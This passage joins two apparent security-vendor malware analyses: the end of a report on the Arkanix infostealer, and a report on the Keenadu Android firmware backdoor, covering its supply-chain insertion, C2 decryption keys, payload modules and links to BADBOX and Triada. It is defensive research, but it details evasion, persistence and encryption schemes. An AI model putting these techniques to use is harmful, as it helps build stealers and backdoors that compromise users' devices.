Is saved to the Startup directory (%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\hvnc.py) to execute upon system boot
The Wallet patcher and Extra collector scripts are received in an encrypted form from the C2 server. To decrypt them, the attackers utilize the AES-GCM algorithm in conjunction with PBKDF2 (HMAC and SHA256). After decryption, the additional payload has its template placeholders replaced and is stored under a partially randomized name within a temporary folder.
Decryption routine and template substitution
Once all operations are completed, the stealer removes itself from the drive, along with the artifacts folder (Arkanix_lol in this case).
Native version of stealer
MD5
a3fc46332dcd0a95e336f6927bae8bb7
File name
ArkanixStealer.exe
During our analysis, we were able to obtain both the release and debug versions of the native implementation, as both were uploaded to publicly available resources. The following are the key differences between the two:
The release version employs VMProtect, but does not utilize code virtualization.
The debug version communicates with a Discord bot for command and control (C2), whereas the release version uses the previously mentioned C2 domain arkanix[.]pw.
The debug version includes extensive logging, presumably for the authors’ debugging purposes.
Notably, the native implementation explicitly references the name of the stealer in the VersionInfo resources. This naming convention is consistent across both the debug version and certain samples containing the release version of the implant.
Version info
After launching, the stealer implements a series of analysis countermeasures to verify that the application is not being executed within a sandboxed environment or run under a debugger. Following these checks, the sample patches AmsiScanBuffer and EtwEventWrite to prevent the triggering of any unwanted events by the system.
Once the preliminary checks are completed, the sample proceeds to gather information about the system. The list of capabilities is hardcoded and cannot be modified from the server side, in contrast to the Python version. What is more, the feature list is quite similar to the Python version except a few ones.
RDP connections
The stealer is capable of collecting information about known RDP connections that the compromised user has. To achieve this, it searches for .rdp files in %USERPROFILE%\Documents and extracts the full server address, password, username and server port.
Gaming files
The stealer also targets gamers and is capable to steal credentials from the popular gaming platform clients, including:
Steam
Epic Games Launcher
net
Riot
Origin
Unreal Engine
Ubisoft Connect
GOG
Screenshots
The native version, unlike its Python counterpart, is capable of capturing screenshots for each monitor via capCreateCaptureWindowA WinAPI.
In conclusion, this sample communicates with the C2 server through the same endpoints as the Python version. However, in this instance, all data is encrypted using the same AES-GCM + PBKDF2 (HMAC and SHA256) scheme as partially employed in the Python variant. In some observed samples, the key used was arkanix_secret_key_v20_2024. Alongside that, the C++ sample explicitly sets the User-Agent to ArkanixStealer/1.0.
Post-exploitation browser data extractor
MD5
3283f8c54a3ddf0bc0d4111cc1f950c0
File name
–
This is an implant embedded within the resources of the C++ implementation. The author incorporated it into the resource section without applying any obfuscation or encryption. Subsequently, the stealer extracts the payload to a temporary folder with a randomly generated name composed of hexadecimal digits (0-9 and A-F) and executes it using the CreateProcess WinAPI. The payload itself is the unaltered publicly available project known as “ChromElevator”. To summarize, this tool consists of two components: an injector and the main payload. The injector initializes a direct syscall engine, spawns a suspended target browser process, and injects the decrypted code into it via Nt syscalls. The injected payload then decrypts the browser master key and exfiltrates data such as cookies, login information, web data, and so on.
Infrastructure
During the Arkanix campaign, two domains used in the attacks were identified. Although these domains were routed through Cloudflare, a real IP address was successfully discovered for one of them, namely, arkanix[.]pw. For the second one we only obtained a Cloudflare IP address.
Domain
IP
First seen
ASN
arkanix[.]pw
195.246.231[.]60
Oct 09, 2025
–
arkanix[.]ru
172.67.186[.]193
Oct 19, 2025
–
Both servers were also utilized to host the stealer panel, which allows attackers to monitor their victims. The contents of the panel are secured behind a sign-in page. Closer to the end of our research, the panel was seemingly taken down with no message or notice.
Stealer panel sign-in page
Stealer promotion
During the research of this campaign, we noticed that the forum posts advertising the stealer contained a link leading to a Discord server dubbed “Arkanix” by the authors. The server posed as a forum where authors posted various content and clients could ask various questions regarding this malicious software. While users mainly thank and ask about when the feature promised by the authors will be released and added into the stealer, the content made by the authors is broader. The adversary builds up the communication with potential buyers using the same marketing and communication methods real companies employ. To begin with, they warm up the audience by posting surveys about whether they should implement specific features, such as Discord injection and binding with a legitimate application (sic!).
Feature votes
Additionally, the author promised to release a crypter as a side project in four to six weeks, at the end of October. As of now, the stealer seems to have been taken down without any notice while the crypter was never released.
Arkanix Crypter
Furthermore, the Arkanix Stealer authors decided to implement a referral program to attract new customers. Referrers were promised an additional free hour to their premium license, while invited customers received seven days of free “premium” trial use. As stated in forum posts, the premium plan included the following features:
C++ native stealer
Exodus and Atomic cryptocurrency wallets injection
Increased payload generation, up to 10 payloads
Priority support
Referral program ad and corresponding panel interface
Speaking of technical details, based on the screenshot of the Visual Studio stealer project that was sent to the Discord server, we can conclude that the author is German-speaking.
This same screenshot also serves as a probable indicator of AI-assisted development as it shares the common patterns of such assistants, e.g. the presence of the utils.cpp file. What provides even more confidence is the overall code structure, the presence of comments and extensive debugging log output.
Example of LLM-specific patterns
Conclusions
Information stealers have always posed as a serious threat to users’ data. Arkanix is no exception as it targets a wide range of users, from those interested in cryptocurrencies and gaming to those using online banking. It collects a vast amount of information including highly sensitive personal data. While being quite functional, it contains probable traces of LLM-assisted development which suggests that such assistance might have drastically reduced development time and costs. Hence it follows that this campaign tends to be more of a one-shot campaign for quick financial gains rather than a long-running infection. The panel and the Discord chat were taken down around December 2025, leaving no message or traces of further development or a resurgence.
In addition, the developers behind the Arkanix Stealer decided to address the public, implementing a forum where they posted development insights, conducted surveys and even ran a referral program where you could get bonuses for “bringing a friend”. This behavior makes Arkanix more of a public software product than a shady stealer.
In April 2025, we reported on a then-new iteration of the Triada backdoor that had compromised the firmware of counterfeit Android devices sold across major marketplaces. The malware was deployed to the system partitions and hooked into Zygote – the parent process for all Android apps – to infect any app on the device. This allowed the Trojan to exfiltrate credentials from messaging apps and social media platforms, among other things.
This discovery prompted us to dive deeper, looking for other Android firmware-level threats. Our investigation uncovered a new backdoor, dubbed Keenadu, which mirrored Triada’s behavior by embedding itself into the firmware to compromise every app launched on the device. Keenadu proved to have a significant footprint; following its initial detection, we saw a surge in support requests from our users seeking further information about the threat. This report aims to address most of the questions and provide details on this new threat.
Our findings can be summarized as follows:
We discovered a new backdoor, which we dubbed Keenadu, in the firmware of devices belonging to several brands. The infection occurred during the firmware build phase, where a malicious static library was linked with libandroid_runtime.so. Once active on the device, the malware injected itself into the Zygote process, similarly to Triada. In several instances, the compromised firmware was delivered with an OTA update.
A copy of the backdoor is loaded into the address space of every app upon launch. The malware is a multi-stage loader granting its operators the unrestricted ability to control the victim’s device remotely.
We successfully intercepted the payloads retrieved by Keenadu. Depending on the targeted app, these modules hijack the search engine in the browser, monetize new app installs, and stealthily interact with ad elements.
One specific payload identified during our research was also found embedded in numerous standalone apps distributed via third-party repositories, as well as official storefronts like Google Play and Xiaomi GetApps.
In certain firmware builds, Keenadu was integrated directly into critical system utilities, including the facial recognition service, the launcher app, and others.
Our investigation established a link between some of the most prolific Android botnets: Triada, BADBOX, Vo1d, and Keenadu.
The complete Keenadu infection chain looks like this:
Full infection diagram
Kaspersky solutions detect the threats described below with the following verdicts:
At the very beginning of the investigation, our attention was drawn to suspicious libraries located at /system/lib/libandroid_runtime.so and /system/lib64/libandroid_runtime.so – we will use the shorthand /system/lib[64]/ to denote these two directories. The library exists in the original Android source. Specifically, it defines the println_native native method for the android.util.Log class. Apps utilize this method to write to the logcat system log. In the suspicious libraries, the implementation of println_native differed from the legitimate version by the call of a single function:
Call to the suspicious function
The suspicious function decrypted data from the library body using RC4 and wrote it to /data/dalvik-cache/arm[64]/system@framework@vndx_10x.jar@classes.jar. The data represents a payload that is loaded via DexClassLoader. The entry point within it is the main method of the com.ak.test.Main class, where “ak” likely refers to the author’s internal name for the malware; this letter combination is also used in other locations throughout the code. In particular, the developers left behind a significant amount of code that writes error messages to the logcat log during the malware’s execution. These messages have the AK_CPP tag.
Payload decryption
The payload checks whether it is running within system apps belonging either to Google services or to Sprint or T-Mobile carriers. The latter apps are typically found in specialized device versions that carriers sell at a discount, provided the buyer signs a service contract. The malware aborts its execution if it finds that it’s running within these processes. It also implements a kill switch that terminates its execution if it finds files with specific names in system directories.
Next, the Trojan checks if it is running within the system_server process. This process controls the entire system and possesses maximum privileges; it is launched by the Zygote process when it starts. If the check returns positive, the Trojan creates an instance of the AKServer class; if the code is running in any other process, it creates an instance of the AKClient class instead. It then calls the new object’s virtual method, passing the app process name to it. The class names suggest that the Trojan is built upon a client-server architecture.
Launching system_server in Zygote
The system_server process creates and launches various system services with the help of the SystemServiceManager class. These services are based on a client-server architecture, and clients for them are requested within app code by calling the Context.getSystemService method. Communication with the server-side component uses the Android inter-process communication (IPC) primitive, binder. This approach offers numerous security and other benefits. These include, among other things, the ability to restrict certain apps from accessing various system services and their functionality, as well as the presence of abstractions that simplify the use of this access for developers while simultaneously protecting the system from potential vulnerabilities in apps.
The authors of Keenadu designed it in a similar fashion. The core logic is located in the AKServer class, which operates within the system_server process. AKServer essentially represents a malicious system service, while AKClient acts as the interface for accessing AKServer via binder. For convenience, we provide a diagram of the backdoor’s architecture below:
Keenadu backdoor execution flow
It is important to highlight Keenadu as yet another case where we find key Android security principles being compromised. First, because the malware is embedded in libandroid_runtime.so, it operates within the context of every app on the device, thereby gaining access to all their data and rendering the system’s intended app sandboxing meaningless. Second, it provides interfaces for bypassing permissions (discussed below) that are used to control app privileges within the system. Consequently, it represents a full-fledged backdoor that allows attackers to gain virtually unrestricted control over the victim’s device.
AKClient architecture
AKClient is relatively straightforward in its design. It is injected into every app launched on the device and retrieves an interface instance for server communication via a protected broadcast (com.action.SystemOptimizeService). Using binder, this interface sends an attach transaction to the malicious AKServer, passing an IPC wrapper that facilitates the loading of arbitrary DEX files within the context of the compromised app. This allows AKServer to execute custom malicious payloads tailored to the specific app it has targeted.
AKServer architecture
At the start of its execution, AKServer sends two protected broadcasts: com.action.SystemOptimizeService and com.action.SystemProtectService. As previously described, the first broadcast delivers an interface instance to other AKClient-infected processes for interacting with AKServer. Along with the com.action.SystemProtectService message, an instance of another interface for interacting with AKServer is transmitted. Malicious modules downloaded within the contexts of other apps can use this interface to:
Grant any permission to an arbitrary app on the device.
Revoke any permission from an arbitrary app on the device.
Retrieve the device’s geolocation.
Exfiltrate device information.
Malicious interface for permission management and device data collection
Once interaction between the server and client components is established, AKServer launches its primary malicious task, titled MainWorker. Upon its initial launch, MainWorker logs the current system time. Following this, the malware checks the device’s language settings and time zone. If the interface language is a Chinese dialect and the device is located within a Chinese time zone, the malware terminates. It also remains inactive if either the Google Play Store or Google Play Services are absent from the device. If the device passes these checks, the Trojan initiates the PluginTask task. At the start of its routine, PluginTask decrypts the command-and-control server addresses from the code as follows:
The encrypted address string is decoded using Base64.
The resulting data, a gzip-compressed buffer, is then decompressed.
The decompressed data is decrypted using AES-128 in CFB mode. The decryption key is the MD5 hash of the string "ota.host.ba60d29da7fd4794b5c5f732916f7d5c", and the initialization vector is the string "0102030405060708".
After decrypting the C2 server addresses, the Trojan collects victim device metadata, such as the model, IMEI, MAC address, and OS version, and encrypts it using the same method as the server addresses, but this time it utilizes the MD5 hash of the string "ota.api.bbf6e0a947a5f41d7f5226affcfd858c" as the AES key. The encrypted data is sent to the C2 server via a POST request to the path /ak/api/pts/v4. The request parameters include two values:
m: the MD5 hash of the device IMEI
n: the network connection type (“w” for Wi-Fi, and “m” for mobile data)
The response from the C2 server contains a code field, which may hold an error code returned by the server. If this field has a zero value, no error has occurred. In this case, the response will include a data field: a JSON object encrypted in the same manner as the request data and containing information about the payloads.
How Keenadu compromised libandroid_runtime.so
After analyzing the initial infection stages, we set out to determine exactly how the backdoor was being integrated into Android device firmware. Almost immediately, we discovered public reports from Alldocube tablet users regarding suspicious DNS queries originating from their devices. This vendor had previously acknowledged the presence of malware in one of its tablet models. However, the company’s statement contained no specifics regarding which malware had compromised the devices or how the breach occurred. We will attempt to answer these questions.
User complaints regarding suspicious DNS queries
The DNS queries described by the original complainant also appeared suspicious to us. According to our telemetry, the Keenadu C2 domains obtained at that time resolved to the IP addresses listed below:
67.198.232[.]4
67.198.232[.]187
The domains keepgo123[.]com and gsonx[.]com mentioned in the complaint resolved to these same addresses, which may indicate that the complainant’s tablet was also infected with Keenadu. However, matching IP addresses alone is insufficient for a definitive attribution. To test this hypothesis, it was necessary to examine the device itself. We considered purchasing the same tablet model, but this proved unnecessary: as it turns out, Alldocube publishes firmware archives for its devices publicly, allowing anyone to audit them for malware.
To analyze the firmware, one must first determine the storage format of its contents. Alldocube firmware packages are RAR archives containing various image files, other types of files, and a Windows-based flashing utility. From an analytical standpoint, the Android file system holds the most value. Its primary partitions, including the system partition, are contained within the image file super.img. This is an Android Sparse Image. For the sake of brevity, we will omit a technical breakdown of this format (which can be reconstructed from the libsparsecode); it is sufficient to note that there are open-source utilities to extract partitions from these files in the form of standard file system images.
We extracted libandroid_runtime.so from the Alldocube iPlay 50 mini Pro (T811M) firmware dated August 18, 2023. Upon examining the library, we discovered the Keenadu backdoor. Furthermore, we decrypted the payload and extracted C2 server addresses hosted on the keepgo123[.]com and gsonx[.]com domains, confirming the user’s suspicions: their devices were indeed infected with this backdoor. Notably, all subsequent firmware versions for this model also proved to be infected, including those released after the vendor’s public statement.
Special attention should be paid to the firmware for the Alldocube iPlay 50 mini Pro NFE model. The “NFE” (Netflix Enabled) part of the name indicates that these devices include an additional DRM module to support high-quality streaming. To achieve this, they must meet the Widevine L1 standard under the Google Widevine DRM premium media protection system. Consequently, they process media within a TEE (Trusted Execution Environment), which mitigates the risk of untrusted code accessing content and thus prevents unauthorized media copying. While Widevine certification failed to protect these devices from infection, the initial Alldocube iPlay 50 mini Pro NFE firmware (released November 7, 2023) was clean – unlike other models’ initial firmware. However, every subsequent version, including the latest release from May 20, 2024, contained Keenadu.
During our analysis of the Alldocube device firmware, we discovered that all images carried valid digital signatures. This implies that simply compromising an OTA update server would have been insufficient for an attacker to inject the backdoor into libandroid_runtime.so. They would also need to gain possession of the private signing keys, which normally should not be accessible from an OTA server. Consequently, it is highly probable that the Trojan was integrated into the firmware during the build phase.
Furthermore, we have found a static library, libVndxUtils.a (MD5: ca98ae7ab25ce144927a46b7fee6bd21), containing the Keenadu code, which further supports our hypothesis. This malicious library is written in C++ and was compiled using the CMake build system. Interestingly, the library retained absolute file paths to the source code on the developer’s machine:
D:\work\git\zh\os\ak-client\ak-client\loader\src\main\cpp\__log_native_load.cpp: this file contains the dropper code.
D:\work\git\zh\os\ak-client\ak-client\loader\src\main\cpp\__log_native_data.cpp: this file contains the RC4-encrypted payload along with its size metadata.
The dropper’s entry point is the function __log_check_tag_count. The attacker inserted a call to this function directly into the implementation of the println_native method.
Code snippet where the attacker inserted the malicious call
According to our data, the malicious dependency was located within the firmware source code repository at the following paths:
Interestingly, the Trojan within libandroid_runtime.so decrypts and writes the payload to disk at /data/dalvik-cache/arm[64]/system@framework@vndx_10x.jar@classes.jar. The attacker most likely attempted to disguise the malicious libandroid_runtime.so dependency as a supposedly legitimate “vndx” component containing proprietary code from MediaTek. In reality, no such component exists in MediaTek products.
Finally, according to our telemetry, the Trojan is found not only in Alldocube devices but also in hardware from other manufacturers. In all instances, the backdoor is embedded within tablet firmware. We have notified these vendors about the compromise.
Based on the evidence presented above, we believe that Keenadu was integrated into Android device firmware as the result of a supply chain attack. One stage of the firmware supply chain was compromised, leading to the inclusion of a malicious dependency within the source code. Consequently, the vendors may have been unaware that their devices were infected prior to reaching the market.
Keenadu backdoor modules
As previously noted, the inherent architecture of Keenadu allows attackers to gain virtually unrestricted control over the victim’s device. To understand exactly how they leveraged this capability, we analyzed the payloads downloaded by the backdoor. To achieve this, we crafted a request to the C2 server, masquerading as an infected device. Initially, the C2 server did not deliver any files; instead, it returned a timestamp for the next check-in, scheduled 2.5 months after the initial request. Through black-box analysis of the C2 server, we determined that the request includes the backdoor’s activation time; if 2.5 months have not elapsed since that moment, the C2 will not serve any payloads. This is likely a technique designed to complicate analysis and minimize the probability of these payloads being detected. Once we modified the activation time in our request to a sufficiently distant date in the past, the C2 server returned the list of payloads for analysis.
The attacker’s server delivers information about the payloads as an object array. Each object contains a download link for the payload, its MD5 hash, target app package names, target process names, and other metadata. An example of such an object is provided below. Notably, the attackers chose Alibaba Cloud as their CDN provider.
Example of payload metadata
Files downloaded by Keenadu utilize a proprietary format to store the encrypted payload and its configuration. A pseudocode description of this format is presented below (struct KeenaduPayload):
After downloading, Keenadu verifies the file integrity using MD5. The Trojan’s creators also implemented a code-signing mechanism using the DSA algorithm. The signature is verified before the payload is decrypted and executed. This ensures that only an attacker in possession of the private key can generate malicious payloads. Upon successful verification, the configuration and the malicious module are decrypted using AES-128 in CFB mode. The decryption key is the MD5 hash of the string that is a concatenation of "37d9a33df833c0d6f11f1b8079aaa2dc" and a salt, while the initialization vector is the string "0102030405060708".
The configuration contains information regarding the module’s entry and exit points, its name, and its version. An example configuration for one of the modules is provided below.
Having outlined the backdoor’s algorithm for loading malicious modules, we will now proceed to their analysis.
Keenadu loader
This module (MD5: 4c4ca7a2a25dbe15a4a39c11cfef2fb2) targets popular online storefronts with the following package names:
com.amazon.mShop.android.shopping (Amazon)
com.zzkko (SHEIN)
com.einnovation.temu (Temu)
The entry point is the start method of the com.ak.p.d.MainApi class. This class initiates a malicious task named HsTask, which serves as a loader conceptually similar to AKServer. Upon execution, the loader collects victim device metadata (model, IMEI, MAC address, OS version, and so on) as well as information regarding the specific app within which it is running. The collected data is encoded using the same method as the AKServerrequests sent to /ak/api/pts/v4. Once encoded, the loader exfiltrates the data via a POST request to the C2 server at /ota/api/tasks/v3.
Data collection via the plugin
In response, the attackers’ server returns a list of modules for download and execution, as well as a list of APK files to install on the victim’s device. Interestingly, in newer Android versions, the delivery of these APKs is implemented via installation sessions. This is likely an attempt by the malware to bypass restrictions introduced in recent OS versions, which prevent sideloaded apps from accessing sensitive permissions – specifically accessibility services.
Use of an installation session
Unfortunately, during our research, we were unable to obtain samples of the specific modules and APK files downloaded by this loader. However, users online have reported that infected tablets were adding items to marketplace shopping carts without the user’s knowledge.
User complaint on Reddit
Clicker loader
These modules (such as ad60f46e724d88af6bcacb8c269ac3c1) are injected into the following apps:
Wallpaper (com.android.wallpaper)
YouTube (com.google.android.youtube)
Facebook (com.facebook.katana)
Digital Wellbeing (com.google.android.apps.wellbeing)
System launcher (com.android.launcher3)
Upon execution, the malicious module retrieves the device’s location and IP address using a GeoIP service deployed on the attackers’ C2 server. This data, along with the network connection type and OS version, is exfiltrated to the C2. In response, the server returns a specially formatted file containing an encrypted JSON object with payload information, as well as a XOR key for decryption. The structure of this file is described below using pseudocode:
The decrypted JSON consists of an array of objects containing download links for the payloads and their respective entry points. An example of such an object is provided below. The payloads themselves are encrypted using the same logic as the JSON.
Example of payload metadata
In the course of our research, we obtained several payloads whose primary objective was to interact with advertising elements on various themed websites: gaming, recipes, and news. Each specific module interacts with one particular website whose address is hardcoded into its source.
Google Chrome module
This module (MD5: 912bc4f756f18049b241934f62bfb06c) targets the Google Chrome browser (com.android.chrome). At the start of its execution, it registers an Activity Lifecycle Callback handler. Whenever an activity is launched within the target app, this handler checks its name. If the name matches the string "ChromeTabbedActivity", the Trojan searches for a text input field (used for search queries and URLs) named url_bar.
Searching for the url_bar text element
If the element is found, the malware monitors text changes within it. All search queries entered by the user into the url_bar field are exfiltrated to the attackers’ server. Furthermore, once the user finishes typing a query, the Trojan can hijack the search request and redirect it to a different search engine, depending on the configuration received from the C2 server.
Search engine hijacking
It is worth noting that the hijacking attempt may fail if the user selects a query from the autocomplete suggestions; in this scenario, the user does not hit Enter or tap the search button in the url_bar, which would signal the malware to trigger the redirect. However, the attackers anticipated this too. The Trojan attempts to locate the omnibox_suggestions_dropdown element within the current activity, a ViewGroup containing the search suggestions. The malware monitors taps on these suggestions and proceeds to redirect the search engine regardless.
Search engine hijacking upon selecting a browser-suggested option
The Nova (Phantom) clicker
The initial version of this module (MD5: f0184f6955479d631ea4b1ea0f38a35d) was a clicker embedded within the system wallpaper picker (com.android.wallpaper). Researchers at Dr. Web discovered it concurrently with our investigation; however, their report did not mention the clicker’s distribution vector via the Keenadu backdoor. The module utilizes machine learning and WebRTC to interact with advertising elements. While our colleagues at Dr. Web named it Phantom, the C2 server refers to it as Nova. Furthermore, the task executed within the code is named NovaTask. Based on this, we believe the original name of the clicker is Nova.
Nova as the plugin name
It is also worth noting that shortly after the publication of the report on this clicker, the Keenadu C2 server began deleting it from infected devices. This is likely a strategic move by the attackers to evade further detection.
Request to unload the Nova module
Interestingly, in the unload request, the Nova module appeared under a slightly different name. We believe this new name disguises the latest version of the module, which functions as a loader capable of downloading the following components:
The Nova clicker.
A Spyware module which exfiltrates various types of victim device information to the attackers’ server.
The Gegu SDK dropper. According to our data, this is a multi-stage dropper that launches two additional clickers.
Install monetization
A module with the MD5 hash 3dae1f297098fa9d9d4ee0335f0aeed3 is embedded into the system launcher (com.android.launcher3). Upon initialization, it runs an environment check for virtual machine artifacts. If none are detected, the malware registers an event handler for session-based app installations.
Handler registration
Simultaneously, the module requests a configuration file from the C2 server. An example of this configuration is provided below.
Example of a monetization module configuration
When an app installation is initiated on the device, the Trojan transmits data on this app to the C2 server. In response, the server provides information regarding the specific ad used to promote it.
App ad source information
For every successfully completed installation session, the Trojan executes GET requests to the URL provided in the tracking_link field in the response, as well as the first link within the click array. Based on the source code, the links in the click array serve as templates into which various advertising identifiers are injected. The attackers most likely use this method to monetize app installations. By simulating traffic from the victim’s device, the Trojan deceives advertising platforms into believing that the app was installed from a legitimate ad tap.
Google Play module
Even though AKClient shuts down if it is injected into Google Play process, the C2 server have provided us with a payload for it. This module (MD5: 529632abf8246dfe555153de6ae2a9df) retrieves the Google Ads advertising ID and stores it via a global instance of the Settings class under the key S_GA_ID3. Subsequently, other modules may utilize this value as a victim identifier.
Retrieving the advertising ID
Other Keenadu distribution vectors
During our investigation, we decided to look for alternative sources of Keenadu infections. We discovered that several of the modules described above appeared in attacks that were not linked to the compromise of libandroid_runtime.so. Below are the details of these alternative vectors.
System apps
According to our telemetry, the Keenadu loader was found within various system apps in the firmware of several devices. One such app (MD5: d840a70f2610b78493c41b1a344b6893) was a face recognition service with the package name com.aiworks.faceidservice. It contains a set of trained machine-learning models used for facial recognition – specifically for authorizing users via Face ID. To facilitate this, the app defines a service named com.aiworks.lock.face.service.FaceLockService, which the system UI (com.android.systemui) utilizes to unlock the device.
Using the face recognition service in the System UI
Within the onCreate method of the com.aiworks.lock.face.service.FaceLockService, triggered upon that service’s creation, three receivers are registered. These receivers monitor screen on/off events, the start of charging, and the availability of network access. Each of these receivers calls the startMars method whose primary purpose is to initialize the malicious loader by calling the init method of the com.hs.client.TEUtils class.
Malicious call
The loader is a slightly modified version of the Keenadu loader. This specific variant utilizes a native library libhshelper.so to load modules and facilitate APK installs. To accomplish this, the library defines corresponding native methods within the com.hs.helper.NativeMain class.
Native methods defined by the library
This specific attack vector – embedding a loader within system apps – is not inherently new. We have previously documented similar cases, such as the Dwphon loader, which was integrated into system apps responsible for OTA updates. However, this marks the first time we have encountered a Trojan embedded within a facial recognition service.
In addition to the face recognition service, we identified other system apps infected with the Keenadu loader. These included the launcher app on certain devices (MD5: 382764921919868d810a5cf0391ea193). A malicious service, com.pri.appcenter.service.RemoteService, was embedded into these apps to trigger the Trojan’s execution.
We also discovered the Keenadu loader within the app with package name com.tct.contentcenter (MD5: d07eb2db2621c425bda0f046b736e372). This app contains the advertising SDK fwtec, which retrieved its configuration via an HTTP GET request to hxxps://trends.search-hub[.]cn/vuGs8 with default redirection disabled. In response, the Trojan expected a 302 redirect code where the Location header provided an URL containing the SDK configuration within its parameters. One specific parameter, hsby_search_switch, controlled the activation of the Keenadu loader: if its value was set to 1, the loader would initialize within the app.
Retrieving the configuration from the C2
Loading via other backdoors
While analyzing our telemetry, we discovered an unusual version of the Keenadu loader (MD5: f53c6ee141df2083e0200a514ba19e32) located in the directories of various apps within external storage, specifically at paths following the pattern: /storage/emulated/0/Android/data/%PACKAGE%/files/.dx/. Based on the code analysis, this loader was designed to operate within a system where the system_server process had already been compromised. Notably, the binder interface names used in this version differed from those used by AKServer. The loader utilized the following interfaces:
com.androidextlib.sloth.api.IPServiceM
com.androidextlib.sloth.api.IPermissionsM
These same binder interfaces are defined by another backdoor that is structured similarly and was also discovered within libandroid_runtime.so. The execution of this other backdoor on infected devices proceeds as follows: libandroid_runtime.so imports a malicious function __android_log_check_loggable from the liblog.so library (MD5: 3d185f30b00270e7e30fc4e29a68237f). This function is called within the implementation of the println_native native method of the android.util.Log class. It decrypts a payload embedded in the library’s body using a single-byte XOR and executes it within the context of all apps on the device.
Payload decryption
The payload shares many similarities with BADBOX, a comprehensive malware platform first described by researchers at HUMAN Security. Specifically, the C2 server paths used for the Trojan’s HTTP requests are a match. This leads us to believe that this is a specific variant of BADBOX.
The path /terminal/client/register was previously documented in a HUMAN Security report
Within this backdoor, we also discovered the binder interfaces utilized by the aforementioned Keenadu loader. This suggests that those specific instances of Keenadu were deployed directly by BADBOX.
One of the binder interfaces used by Keenadu is defined in the payload
Modifications of popular apps
Unfortunately, even if your firmware does not contain Keenadu or another pre-installed backdoor, the Trojan still poses a threat to you. The Nova (Phantom) clicker was discovered by researchers at Dr. Web around the same time as we held our investigation. Their findings highlight a different distribution vector: modified versions of popular software distributed primarily through unofficial sources, as well as various apps found in the GetApps store.
Google Play
Infected apps have managed to infiltrate Google Play too. During our research, we identified trojanized software for smart cameras published on the official Android app store. Collectively, these apps had been downloaded more than 300,000 times.
Examples of infected apps in Google Play
Each of these apps contained an embedded service named com.arcsoft.closeli.service.KucopdInitService, which launched the aforementioned Nova clicker. We alerted Google to the presence of the infected apps in its store, and they removed the malware. Curiously, while the malicious service was present in all identified apps, it was configured to execute only in one specific package: com.taismart.global.
The malicious service was launched only under specific conditions
The Fantastic Four: how Triada, BADBOX, Vo1d, and Keenadu are connected
After discovering that BADBOX downloads one of the Keenadu modules, we decided to conduct further research to determine if there were any other signs of a connection between these Trojans. As a result, we found that BADBOX and Keenadu shared similarities in the payload code that was decrypted and executed by the malicious code in libandroid_runtime.so. We also identified similarities between the Keenadu loader and the BB2DOOR module of the BADBOX Trojan. Given that there are also distinct differences in the code, and considering that BADBOX was downloading the Keenadu loader, we believe these are separate botnets, and the developers of Keenadu likely found inspiration in the BADBOX source code. Furthermore, the authors of Keenadu appear to target Android tablets primarily.
In our recent report on the Triada backdoor, we mentioned that the C2 server for one of its downloaded modules was hosted on the same domain as one of the Vo1d botnet’s servers, which could suggest a link between those two Trojans. However, during the current investigation, we managed to uncover a connection between Triada and the BADBOX botnet as well. As it turns out, the directories where BADBOX downloaded the Keenadu loader also contained other payloads for various apps. Their description warrants a separate report; for the sake of brevity, we will not delve into the details here, limiting ourselves to the analysis of a payload for the Telegram and Instagram clients (MD5: 8900f5737e92a69712481d7a809fcfaa). The entry point for this payload is the com.extlib.apps.InsTGEnter class. The payload is designed to steal victims’ account credentials in the infected services. Interestingly, it also contains code for stealing credentials from the WhatsApp client, though it is currently not utilized.
BADBOX payload code used for stealing credentials from WhatsApp clients
The C2 server addresses used by the Trojan to exfiltrate device data are stored in the code in an encrypted format. They are first decoded using Base64 and then decrypted via a XOR operation with the string "xiwljfowkgs".
Decrypted payload C2 addresses
After decrypting the C2 addresses, we discovered the domain zcnewy[.]com, which we had previously identified in 2022 during our investigation of malicious WhatsApp mods containing Triada. At that time, we assumed that the code segment responsible for stealing WhatsApp credentials and the malicious dropper both belonged to Triada. However, since we have now established that zcnewy[.]com is linked to BADBOX, we believe that the infected WhatsApp modifications we described in 2022 actually contained two distinct Trojans: Triada and BADBOX. To verify this hypothesis, we re-examined one of those modifications (MD5: caa640824b0e216fab86402b14447953) and confirmed that it contained the code for both the Triada dropper and a BADBOX module functionally similar to the one described above. Although the Trojans were launched from the same entry point, they did not interact with each other and were structured in entirely different ways. Based on this, we conclude that what we observed in 2022 was a joint attack by the BADBOX and Triada operators.
BADBOX and Triada launched from the same entry point
These findings show that several of the largest Android botnets are interacting with one another. Currently, we have confirmed links between Triada, Vo1d, and BADBOX, as well as the connection between Keenadu and BADBOX. Researchers at HUMAN Security have also previously reported a connection between Vo1d and BADBOX. It is important to emphasize that these connections are not necessarily transitive. For example, the fact that both Triada and Keenadu are linked to BADBOX does not automatically imply that Triada and Keenadu are directly connected; such a claim would require separate evidence. However, given the current landscape, we would not be surprised if future reports provide the evidence needed to prove the transitivity of these relationships.
Victims
According to our telemetry, 13,715 users worldwide have encountered Keenadu or its modules. Our security solutions recorded the highest number of users attacked by the malware in Russia, Japan, Germany, Brazil and the Netherlands.
Recommendations
Our technical support team is often asked what steps should be taken if a security solution detects Keenadu on a device. In this section, we examine all possible scenarios for combating this Trojan.
If the libandroid_runtime.so library is infected
Modern versions of Android mount the system partition, which contains libandroid_runtime.so, as read-only. Even if one were to theoretically assume the possibility of editing this partition, the infected libandroid_runtime.so library cannot be removed without damaging the firmware: the device would simply cease to boot. Therefore, it is impossible to eliminate the threat using standard Android OS tools. Operating a device infected with the Keenadu backdoor can involve significant inconveniences. Reviews of infected devices complain about intrusive ads and various mysterious sounds whose source cannot be identified.
Review of an infected tablet complaining about noise
If you encounter the Keenadu backdoor, we recommend the following:
Check for software updates. It is possible that a clean firmware version has already been released for your device. After updating, use a reliable security solution to verify that the issue has been resolved.
If a clean firmware update from the manufacturer does not exist for your device, you can attempt to install a clean firmware yourself. However, it is important to remember that manually flashing a device can brick it.
Until the firmware is replaced or updated, we recommend that you stop using the infected device.
If one of the system apps is infected
Unfortunately, as in the previous case, it is not possible to remove such an app from the device because it is located in the system partition. If you encounter the Keenadu loader in a system app, our recommendations are:
Find a replacement for the app, if applicable. For example, if the launcher app is infected, you can download any alternative that does not contain malware. If no alternatives exist for the app – for example, if the face recognition service is infected – we recommend avoiding the use of that specific functionality whenever possible.
Disable the infected app using ADB if an alternative has been found or you don’t really need it. This can be done with the command adb shell pm disable --user 0 %PACKAGE%.
If an infected app has been installed on the device
This is one of the simplest cases of infection. If a security solution has detected an app infected with Keenadu on your device, simply uninstall it following the instructions the solution provides.
Conclusion
